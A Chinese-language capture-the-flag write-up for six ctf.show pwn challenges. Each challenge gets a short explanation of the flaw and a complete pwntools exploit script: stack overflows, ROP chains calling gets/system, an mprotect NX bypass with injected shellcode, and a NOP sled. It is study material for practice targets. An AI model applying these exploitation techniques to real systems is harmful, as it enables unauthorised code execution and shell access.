1-pwn43

ida打开文件后发现有明显的溢出点

有systeam函数可以使用,但是没用/bin/sh,尝试使用libc无法成功

gdb vmmap可以查看到程序有一段可写的部分,可以使用这一部分去写入/bin/sh

使用objdump -d -j .plt pwn命令可以查看到程序的函数plt地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28282)#配置远程连接 28282
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)


main_add=0x080487AF
system=0x8048450
binsh=0x804c000-16 # 0x804b000-0x804c000为可写的部分0x804c000-16空出填写binsh的大小
puts=0x08048420
payload=b'a'*(0x6C+4)+p32(puts)+p32(system)+p32(binsh)+p32(binsh)
#b'a'*(0x6C+4) 进行溢出
#p32(puts) 将返回地址修改为gets地址,调用gets函数
#p32(system) 将返回地址修改为system的地址,调用system函数
#p32(binsh)+p32(binsh) 第一个为gets的传入参数用于后续输入/bin/sh内容 第二个为system的传入参数进行调用
p.sendline(payload)

p.sendline(b'/bin/sh')

p.interactive()#与程序交互

2-pwn44

与上一题类似,但是为64位,在exp的构造上有一些区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28109)#配置远程连接pwn.challenge.ctf.show 28109
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

ret=0x4004fe
rdi=0x4007f3
gets=0x400530
system=0x400520
binsh=0x603000-16
payload=b'a'*(0xA+8)
payload+=p64(rdi)
payload+=p64(binsh)
payload+=p64(ret)
payload+=p64(gets)
payload+=p64(rdi)
payload+=p64(binsh)
payload+=p64(ret)
payload+=p64(system)
#binsh需要使用rdi去传参,ret保证栈平衡
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()#与程序交互

3-pwn49

程序为静态库编译,无法使用libc去解

根据题目提示,可以使用mprotect函数去修改权限从而直接提权

虽然程序开了nx,但是执行栈外的shellcode即可

所以目前的解题思路:使用mprotect函数修改一段内存地址为可执行,在使用read函数在修改后的地址写入shellcode在调用

mprotect函数需要三个参数,所以我们需要找一个pop三次且有ret的gadget

:::info
0x08056194 : pop eax ; pop edx ; pop ebx ; ret

:::

我们还需要去找到mprotect函数的初始地址

使用disass mprotect去查找

0x0806cdd0 <+0>: push ebx

0x080488c3 <+30>: call 0x806bee0

找到read函数的地址

第一个参数,我们要修改权限的内存空间起始地址

使用 readelf -S pwn可以查看所有节头信息,我们使用got表的起始地址

[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4

第二个参数是修改的大小我们可以设为1000

第三个参数是设置的权限7代表可读可写可执行

第一部分exp为修改对应地址的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
got_add=0x080da000
mprotect_add=0x0806cdd0
read_add=0x806BEE0
pop3_ret=0x08056194
main=0x8048A19

payload=b'a'*(0x12+4) #垃圾值
payload+=p32(mprotect_add) #覆盖返回地址为mprotect函数
payload+=p32(pop3_ret) #弹出3个寄存器并且ret
payload+=p32(got_add) #需要修改的地址
payload+=p32(0x1000) #修改的大小
payload+=p32(7) #修改的权限
payload+=p32(main)
p.sendline(payload)

第二段再发送read函数输入shellcode内容进入修改权限的地址区域并调用

1
2
3
4
5
6
7
8
9
10
11
12
shellcode=asm(shellcraft.sh()) 	#pwntool生成shellcode
payload=b'a'*(0x12+4) #垃圾值
payload+=p32(read_add) #覆盖返回地址为read函数
payload+=p32(got_add) #修改read的返回地址为后续执行的地址
payload+=p32(0x0) #从输入端获取内容
payload+=p32(got_add) #输入进的地址
payload+=p32(1000) #大小


p.sendline(payload)
p.sendline(shellcode)
p.interactive()#与程序交互
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28263)#配置远程连接pwn.challenge.ctf.show 28263
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

got_add=0x080da000
mprotect_add=0x0806cdd0
read_add=0x806BEE0
pop3_ret=0x08056194
main=0x8048A19
payload=b'a'*(0x12+4)
payload+=p32(mprotect_add)
payload+=p32(pop3_ret)
payload+=p32(got_add)
payload+=p32(0x1000)
payload+=p32(0x7)
payload+=p32(main)
p.sendline(payload)


shellcode=asm(shellcraft.sh())
payload=b'a'*(0x12+4)
payload+=p32(read_add)
payload+=p32(got_add)
payload+=p32(0x0)
payload+=p32(got_add)
payload+=p32(1000)


p.sendline(payload)
p.sendline(shellcode)
p.interactive()#与程序交互

4-pwn51

c++代码,具体意思是将I转换为IronMan再赋值个s,输入点只能输入0x20个大小

s为0x6c转换10进制为108再+4覆盖栈底为112,除以7得16只需要输入16个I即可进行栈溢出,剩余16的大小

程序也有后门函数,足够溢出的大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28129)#配置远程连接pwn.challenge.ctf.show 28129
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

br=0x804902E
payload=b'I'*16+p32(br)

p.sendlineafter(b'are you?\n',payload)

p.interactive()#与程序交互

5-pwn66

shellcode,buf被修改权限为7

需要返回1才可以执行shellcode

if判断到\x00会停止,且\x00的字节也要符合unk_400F20数据中的值

使用脚本第一个字节为\x00的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re


for i in range(1,3):
for j in product([p8(k) for k in range(256)],repeat=i):#there are as well as twice 'for()',it
payload=b'\x00'+b"".join(j)
p=disasm(payload)
if(
p !=" ..."
and not re.search(r"\[\w*?\]",p)
and ".byte" not in p):
print(p)
#input()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import * #引用pwntools库
context(log_level='debug',arch='amd64',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28227)#配置远程连接pwn.challenge.ctf.show 28227
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)


payload=b'\x00\xc0'+asm(shellcraft.sh())

p.sendline(payload)

p.interactive()#与程序交互

6-pwn67

程序18行是输入shellcode,20行是输入执行的shellcode的地址

但是我们目前不知道seed的地址信息

query_position函数给出了v1的大概地址(因为加上了v2这个垃圾值所以只能是大概值)

因为v1是局部变量所以是在栈上的,通过计算得知v1到seed的距离是0x29

seed的大小是0x1000=4096

query_position函数返回值最坏的情况是v2=668

设x为rand%1336的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import * #引用pwntools库
context(log_level='debug',arch='i386',os='linux')

ming=1
if ming:
p=remote('pwn.challenge.ctf.show',28270)#配置远程连接nc pwn.challenge.ctf.show 28270
else:
p=process("pwn")#配置本地连接:
#gdb.attach(p)

p.recvuntil(b'The current location: ')
add=eval(p.recvuntil("\n",drop=True))
print(b'add=',hex(add))

payload=b'\x90'*1336+asm(shellcraft.sh())
p.sendlineafter(b'> ',payload)


payload=add+0x29+668
p.sendlineafter(b'> ',hex(add+0x29+668))
p.interactive()#与程序交互

其中虽然payload=add+0x29+668并不是seed的准确地址位置,但是可以使用nop无操作符号填充进去,这样就算不是准确的地址也可以调用到nop操作符一直到shellcode的内容去执行